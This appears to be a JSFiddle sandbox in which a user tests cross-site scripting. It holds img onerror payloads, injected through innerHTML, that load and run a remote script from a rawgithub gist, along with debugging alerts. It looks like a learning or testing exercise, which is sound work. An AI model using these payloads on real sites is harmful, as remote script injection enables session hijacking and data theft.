JSFiddle - React, Tailwind, and code Playground
by dledle2
HTML
<script type="foo/bar" id='user_data_template'>
< b > First name: < /b> <%= first_name %>
<b>Interests:</b > <%= interests %>
</script>
<input name="first_name" id="i_feel_so_vulnerable" />
<button>update</button>
<!-- Create your target -->
<div id="target"></div>
<!-- <img src=1 onerror="s=document.createElement('script');s.src='//rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex';document.body.appendChild(s);"/>// -->
CSS
#i_feel_so_vulnerable {
width:300px;
}
JavaScript
javascript: try {
var b1 = document;
var test1 = '<' + 'script type=\'text/javascript\' src=\'https://rawgithub.com/shanimal/8228717/raw/9b820265e8ccf8f8956409c73d20e3c75d96b465/xss_ex\'></' + 'script>';
/* alert ( test1.replace(/"/g,'"') ); */
/* test1 = test1.replace(/"/g, '"').toString(); */
/* alert( (test1.replace(/"/g, '"')).toString() ); */
alert( test1.toString() );
alert('8');
var trydiv1 = document.createElement('div');
trydiv1.innerHTML =
' <img src=1 onerror=\'' + test1 + '\'>';
document.body.appendChild(trydiv1);
alert(trydiv1.innerHTML);
var trydiv2 = document.createElement('div');
trydiv2.innerHTML = " <img src=1 onerror=\"alert('hi5');\">";
document.body.appendChild(trydiv2);
/* alert('hi'); */
/* alert(test1); */
/* alert(test1.value); */
/* eval(test1.value); */
} catch (myError1) {
alert(myError1);
}